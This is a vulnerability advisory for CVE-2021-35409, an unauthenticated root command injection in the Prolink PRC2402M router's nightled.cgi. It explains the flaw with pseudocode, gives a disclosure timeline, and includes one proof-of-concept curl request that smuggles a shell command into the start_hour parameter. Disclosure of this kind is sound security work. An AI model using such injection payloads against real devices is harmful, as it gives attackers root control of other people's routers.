CVE: CVE-2021-35409

Tested Versions:

  • Prolink PRC2402M 20190909

Product URL(s):

Description of the vulnerability

This vulnerability is present as there are no checks on user input taken by nightled.cgi, which is passed to system, allowing an attacker to execute arbitrary code in the context of the root user on affected installations of the Prolink PRC2402M router.

No authentication is required to exploit this vulnerability.

The router makes GET requests to interact with the cgi scripts. To access the vulnerable script, visit http://localhost/cgi-bin/nightled.cgi.

In nightled.cgi, the main function retrieves the query string of the HTTP request, and passes it to satellite_status.

    querystring = getenv("QUERY_STRING");
    page = web_get("page");

    if (*page != '\0') {
      setNightLed(querystring);
    }

As seen in the simplified pseudocode of setNightLed below, the user’s parameters start_hour, start_min, end_hour and end_min are passed to do_system without any input validation, allowing an attacker to supply malicious input and gain arbitrary code execution.

void setNightLed(char* querystring)
{
    start_hour = web_get("start_hour");
    start_hour = strdup(start_hour);
    start_min = web_get("start_min");
    start_min = strdup(start_min);
    end_hour = web_get("end_hour");
    end_hour = strdup(end_hour);
    end_min = web_get("end_min");
    end_min = strdup(end_min);
    ...
    sprintf(command,"echo -n %s %s %s %s > /tmp/scheduleSet &",start_hour,start_min,end_hour,end_min);
    do_system(command);
}

Exploit

To exploit this vulnerability, perform a GET request to nightled.cgi with the start_hour parameter containing the target command to execute.

For example,

curl 'http://localhost/cgi-bin/nightled.cgi?page=a&start_hour=$(echo%20gg%3E/tmp/gg)%23&start_min=1&end_hour=1&end_min=1'

(Note that proper URL encoding should be applied on the querystring parameters for the server to handle the request.)

Timeline

  • 2021-06-10 Reported to Vendor, Prolink
  • 2021-06-10 Prolink acknowledged report
  • 2021-06-10 Prolink claimed to have patched it
  • 2021-06-11 Team member Daniel Lim sent in his bypass for their patch
  • 2021-06-11 Prolink acknowledged the new bypass
  • 2021-06-13 Prolink fixed it